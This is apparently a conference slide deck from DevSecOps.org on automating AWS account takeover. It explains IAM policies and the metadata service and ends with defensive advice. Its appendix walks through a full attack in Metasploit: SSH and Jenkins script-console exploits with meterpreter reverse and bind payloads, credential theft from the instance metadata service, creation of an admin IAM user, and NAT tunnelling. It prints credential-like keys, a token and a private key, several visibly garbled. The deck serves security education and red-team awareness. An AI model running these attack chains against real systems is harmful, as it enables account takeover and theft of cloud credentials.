DevSecOps on the Offense: Automating Amazon Web Services Account Takeover

Javier Godinez
Founding Member
DevSecOps.org
@isomorphix

Ian Allison
Founding Member
DevSecOps.org
@iallison
Disclaimer

- This is not an Amazon Web Services (AWS) issue
- This is a DevOps education issue
- It is the user’s responsibility to understand the technology being used
- With power user privileges come great responsibilities
How our Grandfathers Ran a Stack

Glen Beck (background) and Betty Snyder (foreground) program ENIAC in BRL building 328. (U.S. Army photo)
How our Mothers Ran a Stack

Lawrence Livermore National Laboratory [Attribution], via Wikimedia Commons
How We Run a Stack

aws ec2 run-instances ami-12345678 -t m3.large -k $my-key-pair -g $my-security-group

© 2007 Nuno Pinheiro & David Vignoni & David Miller & Johann Ollivier Lapeyre & Kenneth Wimer & Riccardo Iaconelli / KDE, via Wikimedia Commons
The Cloud is Ripe for the Picking

Attack Surface + Misunderstanding of Technology == Low Hanging Fruit
Acceleration into the Cloud

Information Security Job Postings

DevOps Jobs Postings
How fast can I move while still staying safe?

Always develop in separate account (Blast Radius Containment)

Read the docs for everything and make conscious decisions and document those decisions

Attackers will try to leverage *everything* against you

Bleeding edge does not mean stable and secure. However, it can be with enough testing
Instance

- Virtual host
- Virtual environment on Xen hypervisor
- Feels very much like a host running on bare metal
Metadata Service

- Internal HTTP service that provides Instances information about its environment.
- Available from host at http://169.254.169.254/
- Provides temporary credentials to hosts with instance profiles.
AWS construct that maps a role to an instance

Instance may or may not have a profile associated with it
AWS Identity and Access Management Overview

- Users
- Groups
- Roles
- Policies
  - Effect
  - Actions
  - Resources
  - Condition
The Good

- Policy is specifically created for the application
- Least privilege
- Made to be as granular as possible

```json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": ["ec2:DescribeInstances"],
            "Resource": "*"
        },
        {
            "Effect": "Allow",
            "Action": ["ec2:StopInstances", "ec2:StartInstances"],
            "Resource": [
            ]
        },
        {
            "Effect": "Allow",
            "Action": "ec2:TerminateInstances",
            "Condition": {
                "StringEquals": {
                    "ec2:ResourceTag/purpose": "foobar"
                }
            }
        }
    ]
}
```
The Bad

- ec2:*  
- iam:*  
- anything:*  

```json
{
   "Version": "2012-10-17",
   "Statement": {
      "Effect": "Allow",
      "Action": "iam:*",
      "Resource": "*
   }
}
```
The Ugly

- All Access
- Great for Development
- Really Bad for Security

```json
{
    "Version": "2012-10-17",
    "Statement": {
        "Effect": "Allow",
        "Action": "*:*",
        "Resource": "*"
    }
}
```
What Does Ugly Really Look Like?

The best way to determine whether you truly have an ugly duck is by exploiting the most dangerous vulnerabilities.
How do we catch up?

Through automation with a dash of Ruby
AWS Create IAM User (CIAMU) Module

- Allows for the creation of a user with Admin Privileges to the AWS account

- Needs access to AWS Access Keys or Instance Role with:
  - `iam:CreateUser`
  - `iam:CreateGroup`
  - `iam:PutGroupPolicy`
  - `iam:AddUserToGroup`
  - `iam:CreateAccessKey`

- If you have instances/instance roles with this combination of IAM privileges it’s very dangerous.
AWS Launch Instances Module

- Launches an EC2 instance with a Public IP
- Required Privileges:
  - ec2:RunInstances
  - ec2:ImportKeyPair
  - ec2:CreateSecurityGroup
  - ec2:AuthorizeSecurityGroupIngress
  - ec2:Describe*
- Can launch instance with Instance Profile
- Can launch cluster of Instances
- Can automate tasks via bootstrap
AWS IAM Account Lockout Module

- Requires an IAM admin role (created by CIAMU module)
-Enumerates all users and access keys
- Accepts a user to keep
- Locks out all other accounts
- Allows security teams to protect potentially compromised accounts
Demonstration
Upcoming Modules and Ongoing Projects

- AWS IAM privilege enumeration module
- AWS Lambda module
- AWS s3 bucket and access enumeration module
- Cumulus Cloud Attack Toolkit
  - AWS
  - Google Cloud Platform
- DevSecOps.org Community
- https://github.com/devsecops/lambhack
Helping you get from ugly to...
How Apply This Knowledge

- Read the AWS IAM Best Practices Documents:
- Monitor IAM actions using AWS CloudTrail
- Get creative with AWS services: Config + CloudWatch Events + Lambda
- Audit your AWS Account IAM Policies and Roles
- Red Team your applications and instances
- Think to yourself: “How would an attacker use this against me?”
- Use repeatable secure patterns: [https://github.com/devsecops](https://github.com/devsecops)
- Help build awareness through community: [http://www.devsecops.org](http://www.devsecops.org)
Appendix

Demo Slides
Load Metasploit
Use sshexec to gain a foothold

```
msf > use exploit/multi/ssh/sshexec
msf exploit(sshexec) > set USERNAME testuser
USERNAME => testuser
msf exploit(sshexec) > set PASSWORD P@ssw0rd!
PASSWORD => P@ssw0rd!
msf exploit(sshexec) > set RHOST 52.26.110.7
RHOST => 52.26.110.7
msf exploit(sshexec) > set payload linux/x86/meterpreter/bind_tcp
payload => linux/x86/meterpreter/bind_tcp
msf exploit(sshexec) > set LHOST 52.37.92.225
LHOST => 52.37.92.225
msf exploit(sshexec) > exploit

[*] Started bind handler
[*] 52.26.110.7:7:22 - Sending stager...
[*] Command Stager progress - 42.09% done (306/727 bytes)
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Command Stager progress - 100.00% done (727/727 bytes)
[*] Sending stage (1495599 bytes) to 52.26.110.7
[*] Meterpreter session 1 opened (10.0.0.5:41209 -> 52.26.110.7:4444) at 2017-02-08 23:22:44 +0000

meterpreter > sessions -i 1
meterpreter > shell
Process 21883 created.
Channel 1 created.
sh: no job control in this shell
sh=4.25
```
Instantiate a shell
Retrieve temporary credentials
Enumerate the network

```bash
x hax0r@pwnie:/metasploit-framework (ssh)

> sh-4.2$ exit
$ metasploit
  Background session 1? [y/N]
  msf exploit(sshexec) > use post/linux/gather/enum_network
  msf post(enum_network) > set SESSION 1
  SESSION => 1
  msf post(enum_network) > run

[*] Running module against ip-10-0-0-157
[*] Module running as tester
[*] Info:
[+] Amazon Linux AMI release 2015.09
[+] Linux ip-10-0-0-157 4.1.17-22.30.0amzn1.x86_64 #1 SMP Fri Feb 5 23:44:22 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
[*] Collecting data...
[*] Network config stored in /home/hax0r/.msf4/loot/20170208235631_rsa_10_0_0_157_linuxenum.netw_983498.txt
[*] Route table stored in /home/hax0r/.msf4/loot/20170208235631_rsa_10_0_0_157_linuxenum.netw_682773.txt
[*] Firewall config stored in /home/hax0r/.msf4/loot/20170208235631_rsa_10_0_0_157_linuxenum.netw_365582.txt
[*] DNS config stored in /home/hax0r/.msf4/loot/20170208235631_rsa_10_0_0_157_linuxenum.netw_988219.txt
[*] SSHD config stored in /home/hax0r/.msf4/loot/20170208235631_rsa_10_0_0_157_linuxenum.netw_041337.txt
[*] Host file stored in /home/hax0r/.msf4/loot/20170208235631_rsa_10_0_0_157_linuxenum.netw_772073.txt
[*] Active connections stored in /home/hax0r/.msf4/loot/20170208235631_rsa_10_0_0_157_linuxenum.netw_923874.txt
[*] Wireless information stored in /home/hax0r/.msf4/loot/20170208235631_rsa_10_0_0_157_linuxenum.netw_996772.txt
[*] Listening ports stored in /home/hax0r/.msf4/loot/20170208235631_rsa_10_0_0_157_linuxenum.netw_513943.txt
[*] If-Up/If-Down stored in /home/hax0r/.msf4/loot/20170208235631_rsa_10_0_0_157_linuxenum.netw_513864.txt
[*] Post module execution completed
  msf post(enum_network) >
```
Enumerate the Metadata service

```
x@hax0r$ ~/metasploit-framework (ssh)
m$msf post(enum_network) > use post/multi/gather/aws_ec2_instance_metadata
msf post(aws_ec2_instance_metadata) > set SESSION 1
SESSION => 1
msf post(aws_ec2_instance_metadata) > run

[*] Gathering AWS EC2 instance metadata
[*] Saved AWS EC2 instance metadata to to /home/hax0r/.msf4/loot/20170208235658_rsa_10.0.0.157_aws.ec2.instance.478827.txt
[*] Post module execution completed
msf post(aws_ec2_instance_metadata) > cat /home/hax0r/.msf4/loot/20170208235658_rsa_10.0.0.157_aws.ec2.instance.478827.txt

[*] exec: cat /home/hax0r/.msf4/loot/20170208235658_rsa_10.0.0.157_aws.ec2.instance.478827.txt

{
  "ami-id": "ami-0855b768",
  "ami-launch-index": "0",
  "ami-manifest-path": "(unknown)",
  "block-device-mapping": {
    "ami": "/dev/xvda",
    "root": "/dev/xvda"
  },
  "hostname": "ip-10-0-0-157.us-west-2.compute.internal",
  "iam": {
    "info": "\n    "Code": "\"Success\",
    "LastUpdated": "2017-02-08T23:41:39Z",
    "InstanceProfileArn": "arn:aws:iam::7000235406276:instance-profile/proxy",
    "InstanceProfileId": "AIPAUNRO4WHPGJWLY93K",
    "security-credentials": {}"}
```
Enumerate the Metadata service
Escalate privileges on account A

```
msf post(aws_ec2_instance_metadata) > use post/multi/escalate/aws_create_iam_user
msf post(aws_create_iam_user) > set IAM_GROUPNAME rsademo_a
msf post(aws_create_iam_user) > set IAM_USERNAME rsademo_a
msf post(aws_create_iam_user) > set SESSION 1
msf post(aws_create_iam_user) > run

[*] 169.254.169.254 - looking for creds...
[*] Creating user: rsademo_a
[*] Creating group: rsademo_a
[*] Creating group policy
[*] Adding user (rsademo_a) to group: rsademo_a
[*] Creating API Keys for rsademo_a
[*] Creating password for rsademo_a

AWS Account Information

<table>
<thead>
<tr>
<th>UserName</th>
<th>GroupName</th>
<th>SecretAccessKey</th>
<th>AccessKeyId</th>
<th>Password</th>
<th>AccountId</th>
</tr>
</thead>
<tbody>
<tr>
<td>rsademo_a</td>
<td>rsademo_a</td>
<td>aM2ba07KyycCfQepSUkF5B0j3FiUdp94MNQ+CoY</td>
<td>AKIATUKLMBT4MFVXQ</td>
<td>PygB7zkDu5wJxLH4</td>
<td>700235406276</td>
</tr>
</tbody>
</table>

[•] AWS CLI/SDK etc can be accessed by configuring with the above listed values
[•] AWS console URL https://700235406276.signin.aws.amazon.com/console may be used to access this account
[•] AWS loot stored at: /home/haxDr/msf4/loot/20170208/35799_rsa_10.0.0.157_AWScredentials_550442.txt
[•] Post module execution completed
```
Login

Account: 700235406276

User Name: rsademo_a

Password: **********

MFA users, enter your code on the next screen.

Sign In

Sign in using root account credentials
Explore account

VPC Dashboard
Filter by VPC:
- None

Virtual Private Cloud
- Your VPCs
- Subnets
- Route Tables
- Internet Gateways
- Egress Only Internet Gateways
- DHCP Options Sets
- Elastic IPs
- Endpoints
- NAT Gateways
- Peering Connections

Create VPC Peering Connection

VPC Peering Connection: pcx-51991838

Route Tables
- Description
- ClassicLink
- DNS
- Tags

This VPC Peering Connection is associated with the following route tables
- Route Table ID: rtb-4afea02d
- VPC ID: vpc-2bcf4e4c
- Main: No
- Associated with: 9 subnets
Discover Networks
Explore the network
Discover services

```
sh-4.2$ curl http://10.1.0.11
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <title>Bitnami: Open Source. Simplified</title>
    <link href="/bitnami.css" media="screen" rel="stylesheet" type="text/css"/>
  </head>
  <body>
    <div id="container" class="container-virtual-appliances">
      <div id="dashboard-content" class="launch-page">
        <div id="dashboard-slogan" class="launch-slogan">
          Congratulations!
          <br/>
        </div>
      </div>
    </div>
  </body>
</html>
```
Setup a tunnel and scan for vulns

```bash
sh-4.2$ sudo iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 10.1.0.11:80
sh-4.2$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sh-4.2$ sudo sysctl -w net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
sh-4.2$ exit
meterpreter >
Background session 17 [y/N] [N]
msf post(aws_create_iam_user) > use auxiliary/scanner/http/jenkins_command
msf auxiliary(jenkins_command) > set COMMAND ifconfig eth0
COMMAND => ifconfig eth0
msf auxiliary(jenkins_command) > set RHHOSTS 52.26.110.7
RHHOSTS => 52.26.110.7
msf auxiliary(jenkins_command) > set RPORT 8080
RPORT => 8080
msf auxiliary(jenkins_command) > run

[*] 52.26.110.7:8080  eth0  Link encap:Ethernet  HWaddr 06:ea:b3:60:0e:93
[*] 52.26.110.7:8080  inet addr:10.1.0.11  Bcast:10.1.0.15  Mask:255.255.255.240
[*] 52.26.110.7:8080  inet6 addr: fe80::4ea:b3ff:fe93:fe93/64 Scope:link
[*] 52.26.110.7:8080  UP BROADCAST RUNNING MULTICAST MTU:9001  Metric:1
[*] 52.26.110.7:8080  RX packets:6988 errors:0 dropped:0 overruns:0 frame:0
[*] 52.26.110.7:8080  TX packets:5530 errors:0 dropped:0 overruns:0 carrier:0
[*] 52.26.110.7:8080  collisions:0 txqueuelen:1000
[*] 52.26.110.7:8080  RX bytes:3646153 (3.6 MB) TX bytes:1432847 (1.4 MB)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Exploit Jenkins

```
msf auxiliary(jenkins_script_console) > use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set RHOST 52.26.110.7
RHOST => 52.26.110.7
msf exploit(jenkins_script_console) > set RPORT 8080
RPORT => 8080
msf exploit(jenkins_script_console) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(jenkins_script_console) > set LHOST 52.37.92.225
LHOST => 52.37.92.225
msf exploit(jenkins_script_console) > set target 1
target => 1
msf exploit(jenkins_script_console) > run

[-] Handler failed to bind to 52.37.92.225:4444: -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Checking access to the script console
[*] No authentication required, skipping login...
[*] 52.26.110.7:8080 - Sending Linux stager...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 52.27.143.97
[*] Meterpreter session 2 opened (10.0.0.5:4444 -> 52.27.143.97:44810) at 2017-02-09 00:03:42 +0000
[!] Deleting /tmp/x7N28 payload file
```
Retrieve temporary credentials

```bash
# Retrieve temporary credentials
hax0r@pwnie:/metasploit-framework (ssh)
meterpreter > shell
Process 2831 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
{
  "Code": "Success",
  "LastUpdated": "2017-02-06T23:30:37Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAIVTFVEAF7V3WR2A",
  "SecretAccessKey": "C6LFES2Lqkv0y0rprvsMjadYPbQ8UQFkonCedQU",
  "Token": "FQoDYXdzEGkaDEpeaOHZksGk4u6K/SK3AwOJRnYo0TY2ua7j7gxxOvwGk6Y99KQ0PqRGr0/9MKppsmUJVWAdae0KglIqOjd30qdE5PNNbQZAI0F7AQ45PSsVkg/CdAaba7ZQXvrXI0ldspWq6Dmx8e8RJQDBw/eI/3j6aA8jLLPP3Zkiy8Zuk5K3K3Z20mt/JSzt9xrm+zxr0D0/FzdnTVd2VLUOpbC0HROx14/ehHy0NcZp8a0WQ2qGz3UM3kS19i3Y$Ie0Z508x2EUA9I1/MAMVMDuaGiPomoY2ZP4wBMR9gl6v61cIAC0JAVAduVDHyYfeM39p
npXghqHAIY9H9ucP380rj3VxIrkznwTwGhbms6iL5sXn0CvD0tK4yvW3a0xLEqY10DPp99ExQaQ/mxDezeh8QPuMLVj3c6IYnx7Xkxx3gLMDDIP+QHGO68ks984G6J855V6lgv97QJ09njj42ucVqXs85FBNj78A=axDIy0JjWGFozDvur4vzlyk9Rj0EDbjgrrXtuxGIYzkzLswK6y7/z3PwMsJ98iciUfVeedKytMTYskk/t440bVz24F60oudtMhedaw9sXvnugkkIPZ74MZk6k2HTkozdTuuxAYu=",
  "Expiration": "2017-02-09T05:45:27Z"
}$ exit
meterpreter >
Background session 27? [y/N]
```
Launch a new instance with Admin prvs
Launch a new instance with Admin privs

```bash
$ msf auxiliary(aws_launch_instances) > set SSHPUB_KEY ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD0PHcSKZU57o8nYQWdBAvR9s1K3u8uL03jJiUhNnTnxZ0Ku4PCPhTjJfnp12C9q6UJIAb08N0DdInJzg7T5T1wH5fzCQ7Bd+5sG5c4o9r9Qrqlm5j5kce18gk5ho5eUNq09Kr9dbrJ3BHh1t6/8J1dMm-6r6bGk7V9QXeWrle086KrW GDPhv/A7BremIJlZ4CbgSuxzzK0Q9U5451qWY2p/wqoNBcI+g/D0In00nNzdxwPXPcxbVgWlGcTHT/p4Thq+2BHSnhssMczBMqKp3/XIcu59/p+gW69/fl6g9MNw8HFVw8L+3p3lat7KX0dLyQvet0N0ieAOF
$ SSHPUB_KEY => ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAADqPc9h5Kp57wv9QYXyW8AvR8n1K3u8uL03jJiUhNnTnxZ0Ku4PCPhTjJfnp12C9q6UJIAb08N0DdInJzg7T5T1wH5fzCQ7Bd+5sG5c4o9r9Qrqlm5j5kce18gk5ho5eUNq09Kr9dbrJ3BHh1t6/8J1dMm-6r6bGk7V9QXeWrle086KrW GDPhv/A7BremIJlZ4CbgSuxzzK0Q9U5451qWY2p/wqoNBcI+g/D0In00nNzdxwPXPcxbVgWlGcTHT/p4Thq+2BHSnhssMczBMqKp3/XIcu59/p+gW69/fl6g9MNw8HFVw8L+3p3lat7KX0dLyQvet0N0ieAOF
$ msf auxiliary(aws_launchInstances) > set ROLE_NAME admin
ROLE_NAME => admin
$ msf auxiliary(aws_launchInstances) > run
```

[*] Created security group: sg-da4126a2
[*] Launching instance(s) in us-west-2, AMI: ami-1e299d7e, key pair name: admin, security group: sg-da4126a2, subnet ID: subnet-abc18cc
[*] Launched instance i-0bc66ec727cda80e1 in us-west-2 account 824051057278
[*] instance i-0bc66ec727cda80e1 status: initializing
[*] instance i-0bc66ec727cda80e1 status: initializing
[*] instance i-0bc66ec727cda80e1 status: initializing
[*] instance i-0bc66ec727cda80e1 status: initializing
[*] instance i-0bc66ec727cda80e1 status: initializing
[*] instance i-0bc66ec727cda80e1 status: initializing
[*] instance i-0bc66ec727cda80e1 status: initializing
[*] instance i-0bc66ec727cda80e1 status: initializing
[*] instance i-0bc66ec727cda80e1 status: initializing
Launch a new instance with Admin privs
Establish a session with new host

```bash
msf auxiliary(owes_launch_instances) > use auxiliary/scanner/ssh/ssh_login_pubkey
msf auxiliary(ssh_login_pubkey) > set RHOSTS 35.166.21.101
RHOSTS => 35.166.21.101
msf auxiliary(ssh_login_pubkey) > set KEY_PATH ~/.ssh/id_rsa
KEY_PATH => ~/.ssh/id_rsa
msf auxiliary(ssh_login_pubkey) > set USERNAME ec2-user
USERNAME => ec2-user
msf auxiliary(ssh_login_pubkey) > run
```

[*] 35.166.21.101:22 SSH - Testing Cleartext Keys
[*] SSH - Testing 1 keys from /home/hax0r/.ssh/id_rsa
[*] SSH - Success: 'ec2-user'-----BEGIN RSA PRIVATE KEY-----
```diff
MIIEQzIBAAKBgAQQGwAAYw+D3aEJ1EUzJ/UGF7QQLh4Y1trgflz55LiYTWK5By
hL1603xSlFvqz5dv4#KNV9nGxN1w4y5TQGQ0cBwLAcw09H5vsh9mOJK+a0K
Epko+ZArpZB8uYqR1FkZjyJYwGqyIDIP4P+vyxHYuq7GxI1uUF811HGeo
kcB9g9yWfWw+uUJfFNSGeAmsxYSrsc15JUPV0eOa01uJdof8Kjpa23CPwzsp5uP6j
zNHcMTi2f3Zf1YMnJXbXk/40E4vdfgRBoBu0AMG92uCc/J9yHUL/76VutPSHJeqf
SjGrzXx6QxFl/t6dWmWSdpN6U4XrdB1HgĐQIDQABAOIBAQCFjdnlZ5cTOLq
o/jUYYwyVWC3Ji18m32KLY3UAi13JUc/oXGNQPYyXnPQ066cScXN=+jQP+HkR9eh9e
FDZWmXx10Bosu/B5r0FRTD1OcEYbKt/+zSc50poJlH7PuAwMfNTIMCJvCvbsk
ST0yV9ZhGFr1yZyphj8Dh26R0D8/4ZqadqwplLs52PooyYzrZjJlwolY1Dc8ySwrs+
McyzNLM2Wfl3f+FyvfCgs9u4ACII1hmAucg3AQu+bryfjKcDLtKRsC/6Lt3jSN
noS56AOG/QteYv+6Xt10/w8scchekfKhMVNmpZnBhKXLa20dAPT12nSjJjJR
srM7MbxAOaGA0Fb6rTux26apYzEw3h3f/scrYevQqXOvA2Z52sAs1e/71b
dQ1yiBi3PH3565M7v9L3E7Hg79xKuF9FmbgqSn1tHD8b0M4/l+F6P3IW9lS5n8
w/vjyCSnSryf+fg4ZVZdZgprSG1L7Z=2Mq8E6Mn0S3JL3vdznVzP6/AoGc4A/
vTJT10i8LclSg1lHsSg1lJeYzEMX0RukGrlQR2XToyySXL1KL1UV7Pqv4lMBk2KehZp
```
Establish a session with new host
Establish a session with new host

```text
x: hasDr@pwnle/~metasploit-framework (ssh)

b784fntwyZcglnsOQflsX6eJxudl/ugpR8Fb1re1QKOnbnFl1Vc4R8lU/vVl/w/lssNDx
V3QppLEcGnXKpplELPwR31vQ0Pp17PlehFUt/cspVW9r6k09INjTscsoaDPpvy
FYowvWRSsnR09vQ66f6G1hB6EFCLw59e3hmy9v7zWVSA0w8jvC5crtttPiuA7w
Acfh79r7YwP+et4RMHHZeVkkWjT7wNrvwD5Q172gj5YBXW94mLAnGlnsSA==

-----END RSA PRIVATE KEY-----
' 'uid=500(ec2-user) gid=500(ec2-user) groups=500(ec2-user),10(wheel) Linux ip-10-1-2-202 4.4.4.35-33.55.0mn1.x86_64
#1 SMP Tue Dec 6 20:30:04 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
[*] Command shell session 3 opened (10.0.0.5:34543 -> 35.166.21.101:22) at 2017-02-09 00:16:04 +0000
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
  msf auxiliary(ssh_login_pubkey) > sessions

Active sessions

<table>
<thead>
<tr>
<th>Id</th>
<th>Type</th>
<th>Information</th>
<th>Connection</th>
</tr>
</thead>
<tbody>
<tr>
<td>--</td>
<td>----</td>
<td>-</td>
<td>---</td>
</tr>
<tr>
<td>1</td>
<td>meterpreter</td>
<td>x86/linux uid=502, gid=502, euid=502, egid=502, suid=502, sgid=502 @ ip-10-0-0-157</td>
<td>10.0.0.0.157</td>
</tr>
<tr>
<td>2</td>
<td>meterpreter</td>
<td>x86/linux uid=502, gid=502, euid=502, egid=502, suid=502, sgid=502 @ ip-10-0-0-157</td>
<td>10.0.0.157</td>
</tr>
<tr>
<td>3</td>
<td>shell/linux</td>
<td>SSH ec2-user:4f:7e:e4:01:37:38:0e:94:0b:a8:00:3c:4b:fb:7e (35.166.21.101:22)</td>
<td>10.0.0.157</td>
</tr>
</tbody>
</table>

msf auxiliary(ssh_login_pubkey) >
```
Escalate privileges on account B
Open the console